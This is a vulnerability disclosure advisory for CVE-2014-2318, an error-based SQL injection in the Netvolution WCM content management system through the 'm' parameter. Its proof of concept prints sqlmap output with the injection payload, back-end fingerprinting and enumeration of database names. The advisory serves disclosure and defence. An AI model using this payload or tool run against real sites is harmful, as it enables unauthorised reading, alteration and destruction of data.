CVE-2014-2318 – Netvolution WCM SQL Injection

About the Software

Netvolution is a very popular commercial CMS developed by Atcom, Greece. Many high traffic greek sites use various versions of Netvolution WCM.

Vulnerability Details

Projectzero labs identified an “Error-based SQL injection” via the parameter m. The attacker can remotely inject sql code and execute queries in order to alter, insert or destroy data. That kind of attacks
can lead to data loss and/or server take over.

Vendor confirmed the vulnerability and advised owners of Netvolution powered sites to check the running version of the CMS and update to a newer one.

Proof of Concept

sqlmap output:

Place: Get
Parameter: m
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause
Payload: m=siteModules.evenCalendarAjax' AND
3829=CONVERT(INT,(SELECT CHAR(113)+CHAR(114)... CHAR(115)+CHAR(112)))
AND 'test'='test&pid=33&lang=2&d=

[HH:MM:SS] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.5
back-end DBMS: Microsoft SQL Server 2005

[HH:MM:SS] [INFO] fetching database names
[HH:MM:SS] [INFO] the SQL query used returns 196 entries
[HH:MM:SS] [INFO] retrieved: A......
[HH:MM:SS] [INFO] retrieved: A......
[HH:MM:SS] [INFO] retrieved: A......
...
[HH:MM:SS] [INFO] fetching tables for databases: A...,A....,A... ...

Severity

High

Author

Orestis Karamihailidis

External Links

CVE
NVD
≈ Packet Storm

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